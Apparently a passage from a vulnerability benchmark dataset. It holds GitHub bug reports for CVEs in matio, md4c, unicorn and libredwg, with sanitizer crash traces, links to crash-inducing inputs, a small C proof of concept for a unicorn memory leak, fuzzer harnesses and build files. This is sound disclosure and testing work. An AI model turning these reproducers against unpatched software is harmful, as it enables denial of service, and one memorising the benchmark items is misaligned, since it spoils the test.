release v1.5.14 probably tonight. --- Comment by svillemot on 2019-03-12 14:20:17+00:00: As far as I can tell, CVE-2019-9036 (heap-based buffer overflow in the function `ReadNextFunctionHandle()`) is not yet fixed. --- Comment by tbeu on 2019-03-12 18:01:06+00:00: Hm, can no longer reproduce. Can you give some more details? --- Comment by svillemot on 2019-03-12 18:08:43+00:00: On git HEAD (9f7f96d727d), with Debian 9, configured with `./configure CFLAGS="-fsanitize=address -O2" LDFLAGS="-fsanitize=address"`: ``` $ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow ================================================================= ==29570==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000efd0 at pc 0x7f5b9c14f9fe bp 0x7ffca66d34a0 sp 0x7ffca66d3498 WRITE of size 8 at 0x60200000efd0 thread T0 #0 0x7f5b9c14f9fd in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) #1 0x562dd8c1c9b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9) #2 0x7f5b9b7f32e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #3 0x562dd8c1d249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249) 0x60200000efd1 is located 0 bytes to the right of 1-byte region [0x60200000efd0,0x60200000efd1) allocated by thread T0 here: #0 0x7f5b9c42dd28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28) #1 0x7f5b9c14ef7a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbef7a) #2 0x7f5b9c1634a7 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd34a7) SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf9fd) in Mat_VarReadNextInfo5 Shadow bytes around the buggy address: 0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff9df0: fa fa fa fa fa fa fa fa fa fa[01]fa fa fa 00 fa 0x0c047fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==29570==ABORTING ``` --- Comment by tbeu on 2019-03-12 18:57:03+00:00: Got it. --- Comment by carnil on 2019-03-14 18:14:43+00:00: Should the issue in meanwhile be reopened until as well the last bit fixed? --- Comment by tbeu on 2019-03-15 22:32:32+00:00: @svillemot Can you please check if 539ca4df145748558d79ac978d05857437ba3332 fixes the issue for you. Thanks. --- Comment by svillemot on 2019-03-16 16:57:48+00:00: The overflow seems to be correctly worked around. But then MatIO apparently attempts to allocate an insane amount of memory, I am not sure this is expected: ``` $ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow Integer multiplication overflow when calculating number of elements ==14602==WARNING: AddressSanitizer failed to allocate 0x4098900aa0000000 bytes ==14602==AddressSanitizer's allocator is terminating the process instead of returning 0 ==14602==If you don't like this behavior set allocator_may_return_null=1 ==14602==AddressSanitizer CHECK failed: ../../../../src/libsanitizer/sanitizer_common/sanitizer_allocator.cc:145 "((0)) != (0)" (0x0, 0x0) #0 0x7f04a03f5ebd (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcaebd) #1 0x7f04a03fbb13 in __sanitizer::CheckFailed(char const*, int, char const*, unsigned long long, unsigned long long) (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xd0b13) #2 0x7f04a03f9cd6 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xcecd6) #3 0x7f04a0350144 (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x25144) #4 0x7f04a03ecd05 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d05) #5 0x7f04a010d70f in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbe70f) #6 0x55c2c84699b9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59b9) #7 0x7f049f7b22e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #8 0x55c2c846a249 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6249) ``` --- Comment by tbeu on 2019-03-16 18:07:45+00:00: Thanks for confirmation. One other possibility would be to let SafeMulDims return 0 in case of an overflow. What do you think? --- Comment by svillemot on 2019-03-16 19:38:04+00:00: Indeed it's probably better to have a zero return value from `SafeMulDims`, which would then be catched and properly handled by the caller. --- Comment by tbeu on 2019-03-19 13:41:30+00:00: @svillemot Could you please give 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 one more try and verify if it finally resolves this issue? Thanks. --- Comment by svillemot on 2019-03-20 09:43:23+00:00: Thanks. The only thing still detected by ASAN is a 1-byte memory leak. So, security-wise, the issue is fixed. ``` $ tools/matdump ~/pocs/matio/ReadNextFunctionHandle@mat5.c_1837-26___heap-buffer-overflow Empty ================================================================= ==14285==ERROR: LeakSanitizer: detected memory leaks Direct leak of 1 byte(s) in 1 object(s) allocated from: #0 0x7fb2691fed28 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1d28) #1 0x7fb268f1f1e2 in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbf1e2) #2 0x7fb268f340af (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xd40af) SUMMARY: AddressSanitizer: 1 byte(s) leaked in 1 allocation(s). ```` --- Comment by tbeu on 2019-03-20 10:28:22+00:00: Thanks for confirmation. The memory leak actually is a separate issue discoverd en passant and resolved by b73f135ebb5339eec376b1f25e63ab50d0d43b55. --- Comment by svillemot on 2019-03-22 12:37:44+00:00: I backported those security fixes to MatIO 1.5.13 for Debian (I had to limit myself to minimal changes, since Debian is currently in freeze). There are test failures on several architectures, all of which are big-endian, in tests 621, 2825 and 2827. Any idea of what's going on? --- Comment by svillemot on 2019-03-22 12:38:14+00:00: The logfiles are accessible at: https://buildd.debian.org/status/package.php?p=libmatio --- Comment by svillemot on 2019-03-22 12:39:54+00:00: And here are the patches that I applied: https://salsa.debian.org/science-team/libmatio/tree/master/debian/patches Note that avoid-int-mult-overflow.patch is a trimmed-down version of your commit. --- Comment by svillemot on 2019-03-22 14:08:36+00:00: Ok, got it, it's a manifestation of #108. --- Comment by svillemot on 2019-03-22 14:30:15+00:00: Applying adfa218770183cf93f74e7fad5055921ae1f9958 fixes the testsuite regression, but unfortunately it reintroduces CVE-2019-9027 and CVE-2019-9038. On the current git HEAD, I now get the following: ``` $ tools/matdump ~/pocs/matio/inflate___heap-buffer-overflow-02 ================================================================= ==17501==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000a739 at pc 0x7fb9549d7f7f bp 0x7ffcfb664400 sp 0x7ffcfb663bb0 READ of size 64 at 0x60200000a739 thread T0 #0 0x7fb9549d7f7e (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e) #1 0x7fb953f14238 in inflate (/lib/x86_64-linux-gnu/libz.so.1+0xa238) #2 0x7fb954699abb in InflateData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xdabb) #3 0x7fb9546c3184 in ReadCompressedCharData (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0x37184) #4 0x7fb9547436fd in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb76fd) #5 0x7fb95474804f in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc04f) #6 0x7fb95474e53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a) #7 0x55625cfea9c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9) #8 0x7fb9538872e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #9 0x55625cfeb259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259) 0x60200000a739 is located 0 bytes to the right of 9-byte region [0x60200000a730,0x60200000a739) allocated by thread T0 here: #0 0x7fb954a3ced0 in calloc (/usr/lib/x86_64-linux-gnu/libasan.so.3+0xc1ed0) #1 0x7fb954740187 in Mat_VarRead5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xb4187) #2 0x7fb95476ea4f (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xe2a4f) SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.3+0x5cf7e) Shadow bytes around the buggy address: 0x0c047fff9490: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff94a0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff94b0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff94c0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c047fff94d0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa =>0x0c047fff94e0: fa fa fa fa fa fa 00[01]fa fa 00 00 fa fa 00 01 0x0c047fff94f0: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00 0x0c047fff9500: fa fa 00 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa 0x0c047fff9510: fa fa 01 fa fa fa 00 00 fa fa 00 fa fa fa 00 fa 0x0c047fff9520: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00 0x0c047fff9530: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==17501==ABORTING ``` ``` $ tools/matdump ~/pocs/matio/ReadNextCellt@mat5.c_1342-33__out-of-bound-read InflateData: inflate returned data error InflateSkip: inflate returned data error ASAN:DEADLYSIGNAL ================================================================= ==14816==ERROR: AddressSanitizer: SEGV on unknown address 0x000d0d8dcdf7 (pc 0x7f1ba88b5077 bp 0x606000003140 sp 0x7ffdb11b5a70 T0) #0 0x7f1ba88b5076 in ReadNextCell (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) #1 0x7f1ba88bb53a in Mat_VarReadNextInfo5 (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xc253a) #2 0x5581aaa359c9 in main (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x59c9) #3 0x7f1ba79f42e0 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x202e0) #4 0x5581aaa36259 in _start (/home/sebastien/debian/upstream/matio/tools/.libs/matdump+0x6259) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/home/sebastien/debian/upstream/matio/src/.libs/libmatio.so.9+0xbc076) in ReadNextCell ==14816==ABORTING ``` So this issue should be reopened… --- Comment by tbeu on 2019-03-22 20:56:05+00:00: One more iteration loop please: 02625a0e394eeb8bf3ea61641f73de907296a2c4 adds another sanity check. --- Comment by svillemot on 2019-03-23 09:09:38+00:00: It is good now, thanks! Commit References: 02625a0e394eeb8bf3ea61641f73de907296a2c4 077cbf9ecf495c15edc8546c1acb0cbabf8b6e51 2c20d2178017b3eb13ab160cef239648f9915bdb b73f135ebb5339eec376b1f25e63ab50d0d43b55 539ca4df145748558d79ac978d05857437ba3332 adfa218770183cf93f74e7fad5055921ae1f9958 a0539135c9b1ab7613aa7953279da9224da88775
[ { "content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#ifndef FUZZER_TEMP_FILE_H_\n#define FUZZER_TEMP_FILE_H_\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n// Pure-C interface for creating and cleaning up temporary files.\n\nstatic char* fuzzer_get_tmpfile(const uint8_t* data, size_t size) {\n char* filename_buffer = strdup(\"/tmp/generate_temporary_file.XXXXXX\");\n if (!filename_buffer) {\n perror(\"Failed to allocate file name buffer.\");\n abort();\n }\n const int file_descriptor = mkstemp(filename_buffer);\n if (file_descriptor < 0) {\n perror(\"Failed to make temporary file.\");\n abort();\n }\n FILE* file = fdopen(file_descriptor, \"wb\");\n if (!file) {\n perror(\"Failed to open file descriptor.\");\n close(file_descriptor);\n abort();\n }\n const size_t bytes_written = fwrite(data, sizeof(uint8_t), size, file);\n if (bytes_written < size) {\n close(file_descriptor);\n fprintf(stderr, \"Failed to write all bytes to file (%zu out of %zu)\",\n bytes_written, size);\n abort();\n }\n fclose(file);\n return filename_buffer;\n}\n\nstatic void fuzzer_release_tmpfile(char* filename) {\n if (unlink(filename) != 0) {\n perror(\"WARNING: Failed to delete temporary file.\");\n }\n free(filename);\n}\n\n// C++ RAII object for creating temporary files.\n\n#ifdef __cplusplus\nclass FuzzerTemporaryFile {\n public:\n FuzzerTemporaryFile(const uint8_t* data, size_t size)\n : filename_(fuzzer_get_tmpfile(data, size)) {}\n\n ~FuzzerTemporaryFile() { fuzzer_release_tmpfile(filename_); }\n\n const char* filename() const { return filename_; }\n\n private:\n char* filename_;\n};\n#endif\n\n#endif // FUZZER_TEMP_FILE_H_\n", "filename": "fuzzer_temp_file.h" }, { "content": "// Copyright 2019 Google Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Adapter utility from fuzzer input to a temporary file, for fuzzing APIs that\n// require a file instead of an input buffer.\n\n#include <cstddef>\n#include <cstdint>\n#include <cstdlib>\n#include <string>\n#include <vector>\n\n#include \"fuzzer_temp_file.h\"\n#include \"matio.h\"\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t* data, size_t size) {\n FuzzerTemporaryFile temp_file(data, size);\n\n mat_t* matfd = Mat_Open(temp_file.filename(), MAT_ACC_RDONLY);\n if (matfd == nullptr) {\n return 0;\n }\n // TODO(https://github.com/google/oss-fuzz/pull/2761): use more complicated APIs\n // such as Mat_VarReadDataAll, Mat_VarReadDataLinear, Mat_VarReadNext, etc. \n Mat_Close(matfd);\n\n return 0;\n}\n", "filename": "matio_fuzzer.cc" } ]
[ { "sha": "5552ebde32d48e9290de871dce2f773a76cdaca7", "url": "https://github.com/tbeu/matio/commit/5552ebde32d48e9290de871dce2f773a76cdaca7" }, { "sha": "0966538de4e96f8a22e2f10562b765280fa61ece", "url": "https://github.com/tbeu/matio/commit/0966538de4e96f8a22e2f10562b765280fa61ece" }, { "sha": "a0539135c9b1ab7613aa7953279da9224da88775", "url": "https://github.com/tbeu/matio/commit/a0539135c9b1ab7613aa7953279da9224da88775" }, { "sha": "2c20d2178017b3eb13ab160cef239648f9915bdb", "url": "https://github.com/tbeu/matio/commit/2c20d2178017b3eb13ab160cef239648f9915bdb" }, { "sha": "df23944bc8f16dc7270fa39c772e14958aadc283", "url": "https://github.com/tbeu/matio/commit/df23944bc8f16dc7270fa39c772e14958aadc283" }, { "sha": "ce33bf0ef196794790ed20c6d4c8232f7eb45590", "url": "https://github.com/tbeu/matio/commit/ce33bf0ef196794790ed20c6d4c8232f7eb45590" }, { "sha": "02625a0e394eeb8bf3ea61641f73de907296a2c4", "url": "https://github.com/tbeu/matio/commit/02625a0e394eeb8bf3ea61641f73de907296a2c4" } ]
md4c.cve-2021-30027
mity/md4c
aa654230915db7439eb22ae8b0d6c58f4409e17d
2021-03-22T08:04:55
md4c
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make cmake RUN git clone https://github.com/mity/md4c md4c RUN git -C md4c checkout aa654230915db7439eb22ae8b0d6c58f4409e17d WORKDIR $SRC/md4c COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build && cd build cmake ../ -DBUILD_SHARED_LIBS=OFF make -j$(nproc)
/src/md4c
memory
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/mity/md4c/issues/155 ## Description: Issue: mity/md4c#155 Title: Use of uninitialized value in the md_analyze_line() function State: closed Created by: bsdb0y Created at: 2021-03-27 18:39:10+00:00 Labels: bug Issue Body: Hi, While fuzzing md4c 0.4.7 with AFL++ and MSAN, I found out that the md_analyze_line() function may use uninitialized memory. Attaching a reproducer (gzipped so GitHub accepts it): [input01.md.gz](https://github.com/mity/md4c/files/6216166/input01.md.gz) Issue can be reproduced by running: `md2html input01.md` ``` ==2793660==WARNING: MemorySanitizer: use-of-uninitialized-value #0 0x7f021124c622 in md_analyze_line /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 #1 0x7f021122ee27 in md_process_doc /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6254:9 #2 0x7f021122dca5 in md_parse /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6332:11 #3 0x7f02112fd66b in md_html /home/bsdboy/md/md4c-release-0.4.7/src/md4c-html.c:571:12 #4 0x4989fb in process_file /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:144:11 #5 0x4989fb in main /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:368:11 #6 0x7f0210e580b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x41c29d in _start (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x41c29d) SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 in md_analyze_line ``` with memory origin tracking option `-fsanitize-memory-track-origins` ``` ==2793563==WARNING: MemorySanitizer: use-of-uninitialized-value #0 0x7ffb9423f84f in md_analyze_line /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 #1 0x7ffb9421a49b in md_process_doc /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6254:9 #2 0x7ffb94218d8f in md_parse /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:6332:11 #3 0x7ffb9430c7c4 in md_html /home/bsdboy/md/md4c-release-0.4.7/src/md4c-html.c:571:12 #4 0x49972f in process_file /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:144:11 #5 0x49972f in main /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:368:11 #6 0x7ffb93e430b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x41c29d in _start (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x41c29d) Uninitialized value was created by a heap allocation #0 0x42847d in malloc (/home/bsdboy/md/md4c-release-0.4.7/build/md2html/md2html+0x42847d) #1 0x49ab35 in membuf_init /home/bsdboy/md/md4c-release-0.4.7/md2html/md2html.c:69:17 SUMMARY: MemorySanitizer: use-of-uninitialized-value /home/bsdboy/md/md4c-release-0.4.7/src/md4c.c:5985:12 in md_analyze_line ``` Comments: Comment by mity on 2021-03-29 10:52:58+00:00: Thanks for reporting, should be now fixed. --- Comment by carnil on 2021-04-29 20:43:30+00:00: The issue was apparently assigned CVE-2021-30027. Attachments: https://github.com/mity/md4c/files/6216166/input01.md.gz
[]
[ { "sha": "4fc808d8fe8d8904f8525bb4231d854f45e23a19", "url": "https://github.com/ec1oud/md4c/commit/4fc808d8fe8d8904f8525bb4231d854f45e23a19" } ]
unicorn.cve-2022-29695
unicorn-engine/unicorn
c379d1bfe4afc58886518c0a3b3feb25aaea5ca3
2022-04-16T10:50:12
unicorn
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y cmake pkg-config make python3 RUN git clone https://github.com/unicorn-engine/unicorn unicorn RUN git -C unicorn checkout c379d1bfe4afc58886518c0a3b3feb25aaea5ca3 WORKDIR $SRC/unicorn COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu mkdir -p build cd build cmake .. -DCMAKE_BUILD_TYPE=Debug -DBUILD_SHARED_LIBS=off -DUNICORN_FUZZ=1 make -j4
/src/unicorn
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/unicorn-engine/unicorn/issues/1595 ## Description: Issue: unicorn-engine/unicorn#1595 Title: Memory leaks caused by incomplete unicorn engine initialization. State: closed Created by: liyansong2018 Created at: 2022-04-16 09:35:23+00:00 Issue Body: Unicorn 2 provide a new API (`uc_ctl`) that allows host to modify the architecture and mode of the CPU. However, this api doesn't determine whether the architecture and mode are supported by unicorn. Further more, Unicorn did not judge the result of engine initialization at the design stage. In other words, if we use unexpected architecture or mode to initialize unicorn engine, unicorn will alloc memory during initialization that will not be released. ```c NICORN_EXPORT uc_err uc_close(uc_engine *uc) { int i; MemoryRegion *mr; if (!uc->init_done) { free(uc); return UC_ERR_OK; } // Cleanup internally. if (uc->release) { uc->release(uc->tcg_ctx); } // ... g_free(uc->l1_map); free(uc); return UC_ERR_OK; } ``` Although `uc->init_done` is equal to zero, something is alloced in memory region such as `uc->l1_map`. PoC ```c #define ADDRESS 0x2000 #define SIZE 0x1000 #define MODE 1111 int main(int argc, char **argv) { uc_engine *uc; uc_err err; err = uc_open(UC_ARCH_X86, UC_MODE_64, &uc); if (err != UC_ERR_OK) { printf("Failed on uc_open() with error returned: %u %s\n", err, uc_strerror(err)); return -1; } err = uc_ctl(uc, UC_CTL_CPU_MODEL, MODE); if (err != UC_ERR_OK) { printf("Failed on uc_ctl() with error returned: %u %s\n", err, uc_strerror(err)); return -1; } err = uc_mem_map(uc, ADDRESS, SIZE, UC_PROT_ALL); if (err != UC_ERR_OK) { printf("Failed on uc_mem_map() with error returned: %u %s\n", err, uc_strerror(err)); //return -1; } uc_close(uc); return 0; } ``` Debug info ```shell $ ./poc_test Failed on uc_mem_map() with error returned: 20 Insufficient resource (UC_ERR_RESOURCE) ================================================================= ==23530==ERROR: LeakSanitizer: detected memory leaks Direct leak of 65536 byte(s) in 1 object(s) allocated from: #0 0x7f0372854037 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:154 #1 0x7f037145bfbc in g_malloc0 /home/lys/Documents/my/unicorn/glib_compat/gmem.c:139 #2 0x7f03714b6a6b in tcg_exec_init_x86_64 /home/lys/Documents/my/unicorn/qemu/accel/tcg/translate-all.c:1094 #3 0x7f03714584ba in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:53 #4 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214 #5 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010 #6 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30 #7 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332 Direct leak of 42504 byte(s) in 1 object(s) allocated from: #0 0x7f0372853e8f in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7f037145bf4e in g_malloc /home/lys/Documents/my/unicorn/glib_compat/gmem.c:93 #2 0x7f03714b69dc in tcg_exec_init_x86_64 /home/lys/Documents/my/unicorn/qemu/accel/tcg/translate-all.c:1085 #3 0x7f03714584ba in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:53 #4 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214 #5 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010 #6 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30 #7 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332 Direct leak of 160 byte(s) in 1 object(s) allocated from: #0 0x7f0372853e8f in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x7f037145bf4e in g_malloc /home/lys/Documents/my/unicorn/glib_compat/gmem.c:93 #2 0x7f03714644d8 in memory_map_init /home/lys/Documents/my/unicorn/qemu/exec.c:1463 #3 0x7f0371464dae in cpu_exec_init_all_x86_64 /home/lys/Documents/my/unicorn/qemu/exec.c:1754 #4 0x7f037145848d in machine_initialize /home/lys/Documents/my/unicorn/qemu/softmmu/vl.c:48 #5 0x7f0371453f55 in uc_init /home/lys/Documents/my/unicorn/uc.c:214 #6 0x7f03714556a9 in uc_mem_map /home/lys/Documents/my/unicorn/uc.c:1010 #7 0x5606ff4f335e in main /home/lys/Documents/unitest/poc_test.c:30 #8 0x7f0370f1a7ec in __libc_start_main ../csu/libc-start.c:332 #... SUMMARY: AddressSanitizer: 710422 byte(s) leaked in 27 allocation(s). ``` Comments: Comment by wtdcode on 2022-04-16 15:51:47+00:00: Fixed in 5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7 Commit References: 5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7
[]
[ { "sha": "5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7", "url": "https://github.com/unicorn-engine/unicorn/commit/5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7" } ]
libredwg.cve-2020-21832
libredwg/libredwg
d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
2020-01-08T08:16:22
libredwg
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y autoconf libtool texinfo RUN git clone https://github.com/libredwg/libredwg libredwg RUN git -C libredwg checkout d5a51c01023d5585ddf3dd17c83dbb3c81efc97e WORKDIR $SRC/libredwg COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu sh ./autogen.sh ./configure --disable-shared make -j$(nproc)
/src/libredwg
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492612 ## Description: Issue: LibreDWG/libredwg#188 Title: Several bugs found by fuzzing Referenced comment by linhlhq on 2020-01-15 04:39:11+00:00: **3.heap-buffer-overflow in read_2004_compressed_section ../../src/decode.c:2417** POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000046%2Csig:06%2Csrc:005438%2B002843%2Cop:splice%2Crep:2 ``` ================================================================= ==2469==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7f300b076733 bp 0x7ffe0bc1be00 sp 0x7ffe0bc1b5a8 READ of size 33554560 at 0x62c0000070c0 thread T0 #0 0x7f300b076732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732) #1 0x55cdec4b77b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34 #2 0x55cdec4b77b6 in read_2004_compressed_section ../../src/decode.c:2417 #3 0x55cdeca7ea88 in read_2004_section_filedeplist ../../src/decode.c:2888 #4 0x55cdeca7ea88 in decode_R2004 ../../src/decode.c:3361 #5 0x55cdeca8d08d in dwg_decode ../../src/decode.c:246 #6 0x55cdec41ffae in dwg_read_file ../../src/dwg.c:211 #7 0x55cdec41e9d0 in get_bmp ../../programs/dwgbmp.c:111 #8 0x55cdec41e066 in main ../../programs/dwgbmp.c:280 #9 0x7f300a88fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) #10 0x55cdec41e6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9) 0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0) allocated by thread T0 here: #0 0x7f300b0dbd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38) #1 0x55cdec41ff41 in dat_read_file ../../src/dwg.c:74 #2 0x55cdec41ff41 in 